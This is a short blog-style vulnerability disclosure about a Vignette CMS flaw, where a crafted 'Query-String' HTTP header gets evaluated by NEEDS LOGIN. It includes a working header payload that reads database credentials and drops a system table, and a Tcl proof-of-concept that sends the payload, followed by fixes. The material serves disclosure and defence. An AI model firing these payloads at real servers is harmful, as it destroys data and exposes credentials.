Bas.Scheffers.net

Vignette NEEDS LOGIN exploit

As you know, Vignette escapes "[" and "]" in formdata to their HTML entities for security as SET does an EVAL on all values, which could make "SET foo [SHOW someFormValue]" a risk.

However, Vignette does not extend this courtesy to headers sent in the HTTP request, which are all available as HTTP_REFERER and others. Basicaly anything in the form of some-header becomes HTTP_SOME_HEADER.

There is a variable called HTTP_QUERY_STRING with contains any form data in the GET, ie: "foo=bar" if the request was: "/some/template?foo=bar".

The parsing of the headers is done after this HTTP_QUERY_STRING is set, meaning you can send a header named "Query-String" and it's value, with brackets in tact, will overwrite the existing "HTTP_QUERY_STRING".

If you are running your CMA, using NEEDS LOGIN, on a public server, or have a development CDS on the internet, you are at GREAT risk.

NEEDS LOGIN (procedure NEEDS in stdlib.tcl) does this fatal thing:
SET queryString [SHOW HTTP_QUERY_STRING]

Writing this one as a one-liner in the header to drop a vignette system table on such a site is simple:

[SET SERVER [SHOW SYSTEM_DB_SERVER];
SET PASSWORD [SHOW SYSTEM_DB_PASSWORD];
SET USERNAME [SHOW SYSTEM_DB_USERNAME];
SEARCH TABLE foo SQL "drop table VGN_CFGVAR";]

Or simply doing queries and emailing the results to yourself is easy too.

Try this at home

A simple way to verify my findings is this:

Create a table named "exp" in your content db and one template like:

[
package require http
set headers [list "Query-String" {[SEARCH TABLE foo SQL "drop table exp"]}]
set token [::http::geturl http://yourserver/foo -headers $headers]
::http::data $token
]

Then a second template (/foo) with simply [NEEDS LOGIN] on it.

Run template one.

Now try to select something from table "exp". Great, huh?

Fix

You can simply avoid this by changing:
SET queryString [SHOW HTTP_QUERY_STRING]
to:
SET queryString [SHOW HTTP_QUERY_STRING] NOEVAL

A better fix would be to clean all incomming headers by putting this script into your delivery.tcl file:

foreach var [info vars ::HTTP_*] {
regsub -all {\[|\]} [set $var] {} $var
}